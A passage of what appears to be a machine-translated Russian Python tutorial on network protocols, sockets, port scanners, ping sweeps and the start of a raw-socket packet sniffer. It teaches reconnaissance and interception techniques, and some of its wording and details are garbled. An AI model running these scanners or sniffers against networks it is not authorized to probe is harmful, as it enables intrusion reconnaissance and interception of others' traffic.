Представляет версию интернет-протокола — 0110.
Класс трафика (8 бит)
Эти 8 бит разделены на две части. Наиболее значимые 6 бит используются для типа службы, чтобы дать маршрутизатору знать, какие услуги должны быть предоставлены этому пакету. Наименее значимые 2 бита используются для явного уведомления о перегрузке (ECN).
Метка потока (20 бит)
Эта метка используется для поддержания последовательного потока пакетов, принадлежащих связи. Источник помечает последовательность, чтобы помочь маршрутизатору идентифицировать, что определенный пакет принадлежит определенному потоку информации. Это поле помогает избежать переупорядочения пакетов данных. Он предназначен для потоковой передачи / в режиме реального времени.
Длина полезной нагрузки (16 бит)
Это поле используется, чтобы сообщить маршрутизаторам, сколько информации содержит конкретный пакет в его полезной нагрузке. Полезная нагрузка состоит из заголовков расширений и данных верхнего уровня. С 16 битами может быть указано до 65535 байтов; но если заголовки расширений содержат заголовок расширения переходов за переходом, то полезная нагрузка может превышать 65535 байт, и это поле устанавливается в 0.
Следующий заголовок (8 бит)
Либо это поле используется для указания типа заголовка расширения, либо, если заголовок расширения отсутствует, то оно указывает PDU верхнего уровня. Значения для типа PDU верхнего уровня такие же, как и для IPv4.
Предел прыжка (8 бит)
Это поле используется для остановки цикла в сети. Это то же самое, что TTL в IPv4. Значение поля Hop Limit уменьшается на 1 при прохождении ссылки (router / hop). Когда поле достигает 0, пакет отбрасывается.
Адрес источника (128 бит)
В этом поле указывается адрес отправителя пакета.
Адрес назначения (128 бит)
В этом поле указывается адрес предполагаемого получателя пакета.
Если вы хотите подробно изучить IPv6, перейдите по этой ссылке — www.tutorialspoint.com/ipv6/index.htm
Архитектура заголовка TCP (протокола управления передачей)
Как мы знаем, TCP является протоколом, ориентированным на установление соединения, в котором между двумя системами устанавливается сеанс до начала связи. Соединение будет закрыто после завершения связи. TCP использует метод трехстороннего рукопожатия для установления сокета соединения между двумя системами. Трехстороннее рукопожатие означает, что три сообщения — SYN, SYN-ACK и ACK, отправляются туда и обратно между двумя системами. Этапы работы между двумя системами, инициирующей и целевой системами, следующие:
Шаг 1 — Пакет с установленным флагом SYN
Прежде всего, система, которая пытается установить соединение, запускается с пакета, для которого установлен флаг SYN.
Шаг 2 — Пакет с установленным флагом SYN-ACK
Теперь на этом этапе целевая система возвращает пакет с наборами флагов SYN и ACK.
Шаг 3 — Пакет с установленным флагом ACK
Наконец, инициирующая система вернет пакет в исходную целевую систему с установленным флагом ACK.
Ниже приведена схема заголовка TCP с описанием полей:
Исходный порт (16 бит)
Он идентифицирует исходный порт процесса приложения на отправляющем устройстве.
Порт назначения (16 бит)
Он определяет порт назначения процесса приложения на принимающем устройстве.
Порядковый номер (32 бита)
Порядковый номер байтов данных сегмента в сеансе.
Номер подтверждения (32 бита)
Когда установлен флаг ACK, этот номер содержит следующий порядковый номер ожидаемого байта данных и работает как подтверждение предыдущих полученных данных.
Смещение данных (4 бита)
Это поле подразумевает как размер заголовка TCP (32-разрядные слова), так и смещение данных в текущем пакете во всем сегменте TCP.
Зарезервировано (3 бита)
Зарезервировано для будущего использования и по умолчанию установлено в ноль.
Флаги (1-битный каждый)
-
NS — явный процесс сигнализации уведомления о перегрузке использует этот бит Nonce Sum.
-
CWR — когда хост принимает пакет с установленным битом ECE, он устанавливает Windows переполнения, уменьшенный, чтобы подтвердить, что ECE получено.
-
ЕЭК — имеет два значения —
-
Если бит SYN равен 0, то ECE означает, что в пакете IP установлен бит CE (опыт перегрузки).
-
Если бит SYN установлен в 1, ECE означает, что устройство поддерживает ECT.
-
-
URG — указывает, что поле Urgent Pointer содержит важные данные и должно быть обработано.
-
ACK — указывает, что поле подтверждения имеет значение. Если ACK очищен до 0, это указывает, что пакет не содержит никакого подтверждения.
-
PSH — если установлено, это запрос к принимающей станции о передаче данных (как только они поступят) в принимающее приложение без их буферизации.
-
RST — флаг сброса имеет следующие особенности —
-
Используется для отказа от входящего соединения.
-
Используется для отклонения сегмента.
-
Он используется для перезапуска соединения.
-
SYN — этот флаг используется для установки соединения между хостами.
-
FIN — Этот флаг используется для разъединения соединения, и после этого больше не производится обмен данными. Поскольку пакеты с флагами SYN и FIN имеют порядковые номера, они обрабатываются в правильном порядке.
NS — явный процесс сигнализации уведомления о перегрузке использует этот бит Nonce Sum.
CWR — когда хост принимает пакет с установленным битом ECE, он устанавливает Windows переполнения, уменьшенный, чтобы подтвердить, что ECE получено.
ЕЭК — имеет два значения —
Если бит SYN равен 0, то ECE означает, что в пакете IP установлен бит CE (опыт перегрузки).
Если бит SYN установлен в 1, ECE означает, что устройство поддерживает ECT.
URG — указывает, что поле Urgent Pointer содержит важные данные и должно быть обработано.
ACK — указывает, что поле подтверждения имеет значение. Если ACK очищен до 0, это указывает, что пакет не содержит никакого подтверждения.
PSH — если установлено, это запрос к принимающей станции о передаче данных (как только они поступят) в принимающее приложение без их буферизации.
RST — флаг сброса имеет следующие особенности —
Используется для отказа от входящего соединения.
Используется для отклонения сегмента.
Он используется для перезапуска соединения.
SYN — этот флаг используется для установки соединения между хостами.
FIN — Этот флаг используется для разъединения соединения, и после этого больше не производится обмен данными. Поскольку пакеты с флагами SYN и FIN имеют порядковые номера, они обрабатываются в правильном порядке.
Размер Windows
Это поле используется для управления потоком между двумя станциями и указывает объем буфера (в байтах), который получатель выделил для сегмента, т. Е. Сколько данных ожидает получатель.
-
Контрольная сумма — это поле содержит контрольную сумму заголовка, данных и псевдо заголовков.
-
Срочный указатель — указывает на байт срочных данных, если флаг URG установлен в 1.
-
Опции — это облегчает дополнительные опции, которые не охватываются обычным заголовком. Поле опций всегда описывается 32-битными словами. Если это поле содержит данные менее 32-битных, заполнение используется для покрытия оставшихся битов для достижения 32-битной границы.
Контрольная сумма — это поле содержит контрольную сумму заголовка, данных и псевдо заголовков.
Срочный указатель — указывает на байт срочных данных, если флаг URG установлен в 1.
Опции — это облегчает дополнительные опции, которые не охватываются обычным заголовком. Поле опций всегда описывается 32-битными словами. Если это поле содержит данные менее 32-битных, заполнение используется для покрытия оставшихся битов для достижения 32-битной границы.
Если вы хотите изучить TCP подробно, перейдите по этой ссылке — https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm
Архитектура заголовка UDP (User Datagram Protocol)
UDP — это простой протокол без установления соединения, в отличие от TCP, ориентированный на соединение протокол. В нем задействован минимальный объем коммуникационного механизма. В UDP получатель не генерирует подтверждение приема пакета и, в свою очередь, отправитель не ожидает подтверждения отправки пакета. Этот недостаток делает этот протокол ненадежным, а также облегчает обработку. Ниже приведена схема заголовка UDP с описанием полей:
Порт источника
Эта 16-битная информация используется для идентификации порта источника пакета.
Порт назначения
Эта 16-битная информация используется для идентификации службы прикладного уровня на машине назначения.
длина
Поле длины указывает всю длину пакета UDP (включая заголовок). Это 16-битное поле, и минимальное значение составляет 8 байт, то есть размер самого заголовка UDP.
Контрольная сумма
В этом поле хранится значение контрольной суммы, сгенерированное отправителем перед отправкой. IPv4 имеет это поле как необязательное, поэтому, когда поле контрольной суммы не содержит никакого значения, оно устанавливается в 0, а все его биты устанавливаются в ноль.
Чтобы подробно изучить TCP, перейдите по этой ссылке — https://www.tutorialspoint.com/data_communication_computer_network/user_datagram_protocol.htm
Сокет и его методы
Сокеты являются конечными точками двунаправленного канала связи. Они могут связываться внутри процесса, между процессами на одной машине или между процессами на разных машинах. Аналогичным образом, сетевой сокет является одной конечной точкой в потоке связи между двумя программами, работающими в компьютерной сети, такой как Интернет. Это чисто виртуальная вещь и не означает никакого оборудования. Сетевой сокет может быть идентифицирован по уникальной комбинации IP-адреса и номера порта. Сетевые сокеты могут быть реализованы на нескольких различных типах каналов, таких как TCP, UDP и так далее.
В терминах сокетов, используемых в сетевом программировании, используются следующие термины:
Домен
Домен — это семейство протоколов, которое используется в качестве транспортного механизма. Эти значения являются константами, такими как AF_INET, PF_INET, PF_UNIX, PF_X25 и т. Д.
Тип
Тип означает тип связи между двумя конечными точками, обычно SOCK_STREAM для протоколов, ориентированных на соединение, и SOCK_DGRAM для протоколов без установления соединения.
протокол
Это может использоваться для идентификации варианта протокола в домене и типе. Его значение по умолчанию равно 0. Обычно оно не учитывается.
Hostname
Это работает как идентификатор сетевого интерфейса. Имя хоста может быть строкой, четырехточечным адресом или IPV6-адресом в двоеточии (и, возможно, точечной).
порт
Каждый сервер прослушивает клиентов, звонящих на один или несколько портов. Порт может быть номером порта Fixnum, строкой с номером порта или названием службы.
Socket-модуль Python для сокет-программирования
Чтобы реализовать программирование сокетов в Python, нам нужно использовать модуль Socket. Ниже приведен простой синтаксис для создания Socket —
import socket s = socket.socket (socket_family, socket_type, protocol = 0)
Здесь нам нужно импортировать библиотеку сокетов, а затем сделать простой сокет. Ниже приведены различные параметры, используемые при создании сокета:
-
socket_family — это либо AF_UNIX, либо AF_INET, как объяснялось ранее.
-
socket_type — это либо SOCK_STREAM, либо SOCK_DGRAM.
-
протокол — обычно не указывается, по умолчанию 0.
socket_family — это либо AF_UNIX, либо AF_INET, как объяснялось ранее.
socket_type — это либо SOCK_STREAM, либо SOCK_DGRAM.
протокол — обычно не указывается, по умолчанию 0.
Методы сокетов
В этом разделе мы узнаем о различных методах сокетов. Три различных набора методов сокетов описаны ниже —
- Методы сокета сервера
- Методы клиентских сокетов
- Общие методы сокетов
Методы сокета сервера
В архитектуре клиент-сервер существует один централизованный сервер, который обеспечивает обслуживание, и многие клиенты получают обслуживание с этого централизованного сервера. Клиенты также делают запрос к серверу. Вот несколько важных методов сокетов сервера в этой архитектуре:
-
socket.bind () — Этот метод привязывает адрес (имя хоста, номер порта) к сокету.
-
socket.listen () — Этот метод в основном прослушивает соединения, сделанные с сокетом. Запускает TCP слушатель. Backlog является аргументом этого метода, который указывает максимальное количество подключений в очереди. Его минимальное значение равно 0, а максимальное — 5.
-
socket.accept () — это примет TCP-клиентское соединение. Пара (conn, address) является парой возвращаемого значения этого метода. Здесь conn — это новый объект сокета, используемый для отправки и получения данных о соединении, а адрес — это адрес, связанный с сокетом. Перед использованием этого метода необходимо использовать методы socket.bind () и socket.listen ().
socket.bind () — Этот метод привязывает адрес (имя хоста, номер порта) к сокету.
socket.listen () — Этот метод в основном прослушивает соединения, сделанные с сокетом. Запускает TCP слушатель. Backlog является аргументом этого метода, который указывает максимальное количество подключений в очереди. Его минимальное значение равно 0, а максимальное — 5.
socket.accept () — это примет TCP-клиентское соединение. Пара (conn, address) является парой возвращаемого значения этого метода. Здесь conn — это новый объект сокета, используемый для отправки и получения данных о соединении, а адрес — это адрес, связанный с сокетом. Перед использованием этого метода необходимо использовать методы socket.bind () и socket.listen ().
Методы клиентских сокетов
Клиент в архитектуре клиент-сервер запрашивает сервер и получает сервисы от сервера. Для этого существует только один метод, предназначенный для клиентов —
-
socket.connect (address) — это метод активного интимного подключения к серверу или, проще говоря, этот метод соединяет клиента с сервером. Адрес аргумента представляет адрес сервера.
socket.connect (address) — это метод активного интимного подключения к серверу или, проще говоря, этот метод соединяет клиента с сервером. Адрес аргумента представляет адрес сервера.
Общие методы сокетов
Помимо методов сокетов клиента и сервера, существуют некоторые общие методы сокетов, которые очень полезны при программировании сокетов. Основные методы сокетов следующие:
-
socket.recv (bufsize) — как следует из названия, этот метод получает TCP-сообщение от сокета. Аргумент bufsize обозначает размер буфера и определяет максимальный объем данных, который этот метод может получить за один раз.
-
socket.send (bytes) — этот метод используется для отправки данных в сокет, который подключен к удаленной машине. Байт аргумента даст количество байтов, отправленных сокету.
-
socket.recvfrom (data, address) — этот метод получает данные из сокета. Этот метод возвращает две пары (данные, адрес). Данные определяют полученные данные, а адрес — адрес сокета, отправляющего данные.
-
socket.sendto (data, address) — как следует из названия, этот метод используется для отправки данных из сокета. Этот метод возвращает две пары (данные, адрес). Данные определяют количество отправленных байтов, а адрес — адрес удаленного компьютера.
-
socket.close () — Этот метод закроет сокет.
-
socket.gethostname () — Этот метод возвращает имя хоста.
-
socket.sendall (data) — этот метод отправляет все данные в сокет, который подключен к удаленной машине. Он будет небрежно передавать данные до тех пор, пока не произойдет ошибка, и если это произойдет, то он использует метод socket.close (), чтобы закрыть сокет.
socket.recv (bufsize) — как следует из названия, этот метод получает TCP-сообщение от сокета. Аргумент bufsize обозначает размер буфера и определяет максимальный объем данных, который этот метод может получить за один раз.
socket.send (bytes) — этот метод используется для отправки данных в сокет, который подключен к удаленной машине. Байт аргумента даст количество байтов, отправленных сокету.
socket.recvfrom (data, address) — этот метод получает данные из сокета. Этот метод возвращает две пары (данные, адрес). Данные определяют полученные данные, а адрес — адрес сокета, отправляющего данные.
socket.sendto (data, address) — как следует из названия, этот метод используется для отправки данных из сокета. Этот метод возвращает две пары (данные, адрес). Данные определяют количество отправленных байтов, а адрес — адрес удаленного компьютера.
socket.close () — Этот метод закроет сокет.
socket.gethostname () — Этот метод возвращает имя хоста.
socket.sendall (data) — этот метод отправляет все данные в сокет, который подключен к удаленной машине. Он будет небрежно передавать данные до тех пор, пока не произойдет ошибка, и если это произойдет, то он использует метод socket.close (), чтобы закрыть сокет.
Программа для установления соединения между сервером и клиентом
Чтобы установить соединение между сервером и клиентом, нам нужно написать две разные программы на Python, одну для сервера, а другую для клиента.
Серверная программа
В этой программе сокетов на стороне сервера мы будем использовать метод socket.bind (), который привязывает его к определенному IP-адресу и порту, чтобы он мог прослушивать входящие запросы на этот IP-адрес и порт. Позже мы используем метод socket.listen (), который переводит сервер в режим прослушивания. Число, скажем 4, в качестве аргумента метода socket.listen () означает, что 4 соединения остаются в ожидании, если сервер занят, и если 5-й сокет пытается соединиться, то соединение отклоняется. Мы отправим сообщение клиенту с помощью метода socket.send () . В конце мы используем методы socket.accept () и socket.close () для инициирования и закрытия соединения соответственно. Ниже приведена программа на стороне сервера —
import socket def Main(): host = socket.gethostname() port = 12345 serversocket = socket.socket() serversocket.bind((host,port)) serversocket.listen(1) print('socket is listening') while True: conn,addr = serversocket.accept() print("Got connection from %s" % str(addr)) msg = 'Connecting Established'+ "\r\n" conn.send(msg.encode('ascii')) conn.close() if __name__ == '__main__': Main()
Клиентская программа
В клиентской программе сокетов нам нужно создать объект сокета. Затем мы подключимся к порту, на котором работает наш сервер — 12345 в нашем примере. После этого мы установим соединение с помощью метода socket.connect () . Затем с помощью метода socket.recv () клиент получит сообщение от сервера. Наконец, метод socket.close () закроет клиент.
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = socket.gethostname() port = 12345 s.connect((host, port)) msg = s.recv(1024) s.close() print (msg.decode('ascii'))
Теперь, после запуска серверной программы, мы получим следующий вывод на терминал —
socket is listening Got connection from ('192.168.43.75', 49904)
И после запуска клиентской программы мы получим следующий вывод на другом терминале —
Connection Established
Обработка исключений сетевых сокетов
Есть два блока, а именно try и за исключением того, который можно использовать для обработки исключений сетевых сокетов. Ниже приведен скрипт Python для обработки исключений:
import socket host = "192.168.43.75" port = 12345 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.bind((host,port)) s.settimeout(3) data, addr = s.recvfrom(1024) print ("recevied from ",addr) print ("obtained ", data) s.close() except socket.timeout : print ("No connection between client and server") s.close()
Выход
Вышеуказанная программа генерирует следующий вывод —
No connection between client and server
В приведенном выше сценарии сначала мы создали объект сокета. Затем последовало предоставление IP-адреса хоста и номера порта, на котором работает наш сервер — 12345 в нашем примере. Позже используется блок try, и внутри него с помощью метода socket.bind () мы попытаемся связать IP-адрес и порт. Мы используем метод socket.settimeout () для установки времени ожидания клиента, в нашем примере мы устанавливаем 3 секунды. Используется блок исключений, который будет печатать сообщение, если не будет установлено соединение между сервером и клиентом.
Сетевой сканер Python
Сканирование портов может быть определено как метод наблюдения, который используется для определения местоположения открытых портов, доступных на конкретном хосте. Сетевой администратор, тестер проникновения или хакер могут использовать эту технику. Мы можем настроить сканер портов в соответствии с нашими требованиями, чтобы получить максимум информации от целевой системы.
Теперь рассмотрим информацию, которую мы можем получить после запуска сканирования портов —
-
Информация об открытых портах.
-
Информация об услугах, работающих на каждом порту.
-
Информация об ОС и MAC-адресе целевого хоста.
Информация об открытых портах.
Информация об услугах, работающих на каждом порту.
Информация об ОС и MAC-адресе целевого хоста.
Сканирование портов похоже на вора, который хочет войти в дом, проверяя каждую дверь и окно, чтобы увидеть, какие из них открыты. Как обсуждалось ранее, набор протоколов TCP / IP, используемый для связи через Интернет, состоит из двух протоколов, а именно TCP и UDP. Оба протокола имеют от 0 до 65535 портов. Поскольку всегда желательно закрыть ненужные порты нашей системы, следовательно, по сути, существует более 65000 дверей (портов) для блокировки. Эти 65535 портов можно разделить на следующие три диапазона:
-
Системные или общеизвестные порты: от 0 до 1023
-
Пользовательские или зарегистрированные порты: от 1024 до 49151
-
Динамические или частные порты: все> 49151
Системные или общеизвестные порты: от 0 до 1023
Пользовательские или зарегистрированные порты: от 1024 до 49151
Динамические или частные порты: все> 49151
Сканер портов с использованием сокета
В нашей предыдущей главе мы обсуждали, что такое сокет. Теперь мы создадим простой сканер портов с использованием сокета. Ниже приведен скрипт Python для сканера портов с использованием сокета —
from socket import * import time startTime = time.time() if __name__ == '__main__': target = input('Enter the host to be scanned: ') t_IP = gethostbyname(target) print ('Starting scan on host: ', t_IP) for i in range(50, 500): s = socket(AF_INET, SOCK_STREAM) conn = s.connect_ex((t_IP, i)) if(conn == 0) : print ('Port %d: OPEN' % (i,)) s.close() print('Time taken:', time.time() - startTime)
Когда мы запускаем вышеуказанный скрипт, он запрашивает имя хоста, вы можете указать любое имя хоста, например, имя любого веб-сайта, но будьте осторожны, поскольку сканирование портов может рассматриваться как преступление или рассматриваться как преступление. Мы никогда не должны запускать сканер портов для какого-либо веб-сайта или IP-адреса без явного письменного разрешения владельца сервера или компьютера, на который вы ориентируетесь. Сканирование портов сродни походу в чей-то дом и проверке их дверей и окон. Вот почему рекомендуется использовать сканер портов на локальном хосте или на вашем собственном веб-сайте (если есть).
Выход
Приведенный выше скрипт генерирует следующий вывод:
Enter the host to be scanned: localhost Starting scan on host: 127.0.0.1 Port 135: OPEN Port 445: OPEN Time taken: 452.3990001678467
Вывод показывает, что в диапазоне от 50 до 500 (как указано в сценарии) этот сканер портов обнаружил два открытых порта — порты 135 и 445. Мы можем изменить этот диапазон и проверить другие порты.
Сканер портов, использующий ICMP (живые хосты в сети)
ICMP — это не сканирование портов, но он используется для проверки связи с удаленным хостом, чтобы проверить, работает ли хост. Это сканирование полезно, когда нам нужно проверить количество живых хостов в сети. Он включает в себя отправку ICMP ECHO Request хосту, и если этот хост работает, он вернет ICMP ECHO Reply.
Вышеуказанный процесс отправки ICMP-запроса также называется ping scan, который предоставляется командой ping операционной системы.
Концепция Ping Sweep
На самом деле в том или ином смысле, пинг-размах также известен как пинг-размах. Единственное отличие состоит в том, что ping sweeping — это процедура для определения доступности нескольких машин в определенном диапазоне сети. Например, предположим, что мы хотим протестировать полный список IP-адресов, а затем с помощью ping-сканирования, т. Е. Команды ping операционной системы, будет очень много времени для сканирования IP-адресов по одному. Вот почему нам нужно использовать скрипт ping sweep. Ниже приведен скрипт на Python для поиска живых хостов с помощью ping sweep —
import os import platform from datetime import datetime net = input("Enter the Network Address: ") net1= net.split('.') a = '.' net2 = net1[0] + a + net1[1] + a + net1[2] + a st1 = int(input("Enter the Starting Number: ")) en1 = int(input("Enter the Last Number: ")) en1 = en1 + 1 oper = platform.system() if (oper == "Windows"): ping1 = "ping -n 1 " elif (oper == "Linux"): ping1 = "ping -c 1 " else : ping1 = "ping -c 1 " t1 = datetime.now() print ("Scanning in Progress:") for ip in range(st1,en1): addr = net2 + str(ip) comm = ping1 + addr response = os.popen(comm) for line in response.readlines(): if(line.count("TTL")): break if (line.count("TTL")): print (addr, "--> Live") t2 = datetime.now() total = t2 - t1 print ("Scanning completed in: ",total)
Приведенный выше скрипт работает в трех частях. Сначала он выбирает диапазон IP-адресов для сканирования с помощью ping, разбивая его на части. Затем следует использование функции, которая выберет команду для сканирования пинга в соответствии с операционной системой, и, наконец, она дает ответ о хосте и времени, затраченном на завершение процесса сканирования.
Выход
Приведенный выше скрипт генерирует следующий вывод:
Enter the Network Address: 127.0.0.1 Enter the Starting Number: 1 Enter the Last Number: 100 Scanning in Progress: Scanning completed in: 0:00:02.711155
Приведенный выше вывод не показывает активных портов, потому что брандмауэр включен и параметры входящей ICMP тоже отключены. После изменения этих настроек мы можем получить список активных портов в диапазоне от 1 до 100, приведенный в выходных данных.
Сканер портов, использующий сканирование TCP
Чтобы установить TCP-соединение, хост должен выполнить трехстороннее рукопожатие. Выполните следующие действия, чтобы выполнить действие —
Шаг 1 — Пакет с установленным флагом SYN
На этом этапе система, которая пытается инициировать соединение, запускается с пакета, для которого установлен флаг SYN.
Шаг 2 — Пакет с установленным флагом SYN-ACK
На этом этапе целевая система возвращает пакет с наборами флагов SYN и ACK.
Шаг 3 — Пакет с установленным флагом ACK
Наконец, инициирующая система вернет пакет в исходную целевую систему с установленным флагом ACK.
Тем не менее, здесь возникает вопрос: если мы можем выполнить сканирование портов с использованием метода эхо-запроса ICMP и ответа (сканер ping-sweep), то зачем нам сканирование TCP? Основная причина этого заключается в том, что если мы отключим функцию ответа ICMP ECHO или используем брандмауэр для пакетов ICMP, то сканер ping-развертки не будет работать, и нам потребуется сканирование TCP.
import socket from datetime import datetime net = input("Enter the IP address: ") net1 = net.split('.') a = '.' net2 = net1[0] + a + net1[1] + a + net1[2] + a st1 = int(input("Enter the Starting Number: ")) en1 = int(input("Enter the Last Number: ")) en1 = en1 + 1 t1 = datetime.now() def scan(addr): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket.setdefaulttimeout(1) result = s.connect_ex((addr,135)) if result == 0: return 1 else : return 0 def run1(): for ip in range(st1,en1): addr = net2 + str(ip) if (scan(addr)): print (addr , "is live") run1() t2 = datetime.now() total = t2 - t1 print ("Scanning completed in: " , total)
Приведенный выше скрипт работает в трех частях. Он выбирает диапазон IP-адресов для сканирования с помощью ping-сканирования, разбивая его на части. Затем следует использовать функцию сканирования адреса, которая дополнительно использует сокет. Позже, он дает ответ о хосте и времени, необходимом для завершения процесса сканирования. Результат = с. Оператор connect_ex ((addr, 135)) возвращает индикатор ошибки. Если операция завершается успешно, индикатор ошибки равен 0, в противном случае это значение переменной errno. Здесь мы использовали порт 135; этот сканер работает для системы Windows. Другой порт, который будет работать здесь, это 445 (Microsoft-DSActive Directory) и обычно открыт.
Выход
Приведенный выше скрипт генерирует следующий вывод:
Enter the IP address: 127.0.0.1 Enter the Starting Number: 1 Enter the Last Number: 10 127.0.0.1 is live 127.0.0.2 is live 127.0.0.3 is live 127.0.0.4 is live 127.0.0.5 is live 127.0.0.6 is live 127.0.0.7 is live 127.0.0.8 is live 127.0.0.9 is live 127.0.0.10 is live Scanning completed in: 0:00:00.230025
Сканер резьбовых портов для повышения эффективности
Как мы видели в вышеупомянутых случаях, сканирование портов может быть очень медленным. Например, вы можете увидеть, что время сканирования портов от 50 до 500 при использовании сканера сокетов портов составляет 452,3990001678467. Для повышения скорости мы можем использовать многопоточность. Ниже приведен пример сканера портов с использованием потоков —
import socket import time import threading from queue import Queue socket.setdefaulttimeout(0.25) print_lock = threading.Lock() target = input('Enter the host to be scanned: ') t_IP = socket.gethostbyname(target) print ('Starting scan on host: ', t_IP) def portscan(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: con = s.connect((t_IP, port)) with print_lock: print(port, 'is open') con.close() except: pass def threader(): while True: worker = q.get() portscan(worker) q.task_done() q = Queue() startTime = time.time() for x in range(100): t = threading.Thread(target = threader) t.daemon = True t.start() for worker in range(1, 500): q.put(worker) q.join() print('Time taken:', time.time() - startTime)
В приведенном выше сценарии нам нужно импортировать модуль потоков, который встроен в пакет Python. Мы используем концепцию блокировки потоков, thread_lock = threading.Lock (), чтобы избежать множественной модификации за раз. По сути, threading.Lock () позволяет одному потоку одновременно обращаться к переменной. Следовательно, двойной модификации не происходит.
Позже мы определим одну функцию нитей (), которая будет извлекать работу (порт) из рабочего цикла for. Затем вызывается метод portscan () для подключения к порту и вывода результата. Номер порта передается как параметр. После выполнения задачи вызывается метод q.task_done ().
Теперь после запуска вышеуказанного скрипта мы можем увидеть разницу в скорости сканирования от 50 до 500 портов. Это заняло всего 1.3589999675750732 секунды, что намного меньше 452.3990001678467, времени, которое занимает сканер сокетов портов для сканирования того же количества портов localhost.
Выход
Приведенный выше скрипт генерирует следующий вывод:
Enter the host to be scanned: localhost Starting scan on host: 127.0.0.1 135 is open 445 is open Time taken: 1.3589999675750732
Сетевой анализатор пакетов
Обнюхивание или анализ сетевых пакетов — это процесс мониторинга и захвата всех пакетов, проходящих через данную сеть, с использованием инструментов отслеживания. Это форма, в которой мы можем «прослушивать телефонные провода» и знакомиться с разговором. Это также называется прослушиванием телефонных разговоров и может применяться в компьютерных сетях.
Существует настолько большая вероятность того, что если набор портов корпоративного коммутатора открыт, то один из его сотрудников может прослушивать весь трафик сети. Любой, находящийся в том же физическом месте, может подключиться к сети с помощью кабеля Ethernet или подключиться к ней по беспроводной сети и прослушать общий трафик.
Другими словами, Sniffing позволяет видеть все виды трафика, как защищенного, так и незащищенного. В правильных условиях и с правильными протоколами на месте атакующая сторона может собирать информацию, которая может быть использована для дальнейших атак или вызвать другие проблемы для владельца сети или системы.
Что можно понюхать?
Можно прослушать следующую конфиденциальную информацию из сети —
- Почтовый трафик
- FTP пароли
- Веб-трафик
- Пароли Telnet
- Конфигурация маршрутизатора
- Сеансы чата
- Трафик DNS
Как работает нюхание?
Анализатор обычно переводит сетевой адаптер системы в беспорядочный режим, чтобы прослушивать все данные, передаваемые в его сегменте.
Случайный режим относится к уникальному способу оборудования Ethernet, в частности к сетевым интерфейсным платам (NIC), который позволяет NIC получать весь трафик в сети, даже если он не адресован этому NIC. По умолчанию сетевой адаптер игнорирует весь трафик, который ему не адресован, что делается путем сравнения адреса назначения пакета Ethernet с аппаратным адресом (MAC) устройства. Несмотря на то, что это имеет смысл для работы в сети, режим без случайных ошибок затрудняет использование программного обеспечения для мониторинга и анализа сети для диагностики проблем с подключением или учета трафика.
Анализатор может непрерывно контролировать весь трафик к компьютеру через сетевой адаптер, декодируя информацию, инкапсулированную в пакеты данных.
Типы нюхают
Фырканье может быть активным или пассивным по своей природе. Теперь мы узнаем о различных типах сниффинга.
Пассивный нюхает
При пассивном сниффинге трафик блокируется, но никак не изменяется. Пассивное прослушивание позволяет только слушать. Работает с устройствами Hub. На устройстве-концентраторе трафик отправляется на все порты. В сети, которая использует концентраторы для подключения систем, все узлы в сети могут видеть трафик. Таким образом, злоумышленник может легко захватить проходящий трафик.
Хорошей новостью является то, что в последнее время хабы почти устарели. В большинстве современных сетей используются коммутаторы. Следовательно, пассивное нюхание более не эффективно.
Активный нюхающий
При активном сниффинге трафик не только блокируется и отслеживается, но и может определенным образом изменяться в зависимости от атаки. Активный анализатор используется для анализа сети на основе коммутатора. Это включает внедрение пакетов разрешения адресов (ARP) в целевую сеть для заполнения таблицы адресуемой памяти (CAM) содержимого коммутатора. CAM отслеживает, какой хост подключен к какому порту.
Ниже приведены методы активного нюхания —
- MAC Flooding
- Атаки DHCP
- Отравление DNS
- Поддельные атаки
- ARP Отравление
Влияние обнюхивания на протоколы
Протоколы, такие как проверенный и действительный TCP / IP, никогда не разрабатывались с учетом требований безопасности. Такие протоколы не оказывают большого сопротивления потенциальным злоумышленникам. Ниже приведены различные протоколы, которые легко поддаются анализу.
HTTP
Он используется для отправки информации в виде открытого текста без какого-либо шифрования и, следовательно, является реальной целью.
SMTP (простой протокол передачи почты)
SMTP используется при передаче электронной почты. Этот протокол эффективен, но он не включает никакой защиты от прослушивания.
NNTP (сетевой протокол передачи новостей)
Используется для всех видов общения. Основным недостатком этого является то, что данные и даже пароли передаются по сети в виде открытого текста.
POP (протокол почтового отделения)
POP строго используется для получения писем с серверов. Этот протокол не включает защиту от перехвата, потому что он может быть захвачен.
FTP (протокол передачи файлов)
FTP используется для отправки и получения файлов, но он не предлагает никаких функций безопасности. Все данные отправляются в виде открытого текста, который можно легко прослушать.
IMAP (протокол доступа к сообщениям в Интернете)
IMAP по своим функциям аналогичен SMTP, но он очень уязвим для сниффинга.
Telnet
Telnet отправляет все (имена пользователей, пароли, нажатия клавиш) по сети в виде открытого текста и, следовательно, его можно легко прослушать.
Снифферы — это не тупые утилиты, которые позволяют просматривать только живой трафик. Если вы действительно хотите проанализировать каждый пакет, сохраните перехват и просмотрите его всякий раз, когда позволяет время.
Реализация с использованием Python
Перед реализацией необработанного анализатора сокетов давайте разберемся с методом struct, описанным ниже:
struct.pack (fmt, a1, a2,…)
Как следует из названия, этот метод используется для возврата строки, которая упакована в соответствии с заданным форматом. Строка содержит значения a1, a2 и т. Д.
struct.unpack (fmt, string)
Как следует из названия, этот метод распаковывает строку в соответствии с заданным форматом.
В следующем примере необработанного IP-заголовка анализатора сокета, который представляет собой следующие 20 байтов в пакете, и среди этих 20 байтов нас интересуют последние 8 байтов. Последние байты показывают, анализируют ли IP-адрес источника и назначения —
Теперь нам нужно импортировать некоторые основные модули следующим образом:
import socket import struct import binascii
Теперь мы создадим сокет, который будет иметь три параметра. Первый параметр говорит нам об интерфейсе пакета — PF_PACKET для Linux и AF_INET для Windows; второй параметр говорит нам, что это необработанный сокет, а третий параметр сообщает нам о протоколе, который нас интересует, — 0x0800, используемом для протокола IP.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
Теперь нам нужно вызвать метод recvfrom () для получения пакета.
while True: packet = s.recvfrom(2048)
В следующей строке кода мы разрываем заголовок Ethernet —
ethernet_header = packet[0][0:14]
В следующей строке кода мы анализируем и распаковываем заголовок с помощью метода struct —
eth_header = struct.unpack("!6s6s2s", ethernet_header)
Следующая строка кода вернет кортеж с тремя шестнадцатеричными значениями, преобразованными в hexify в модуле binascii —
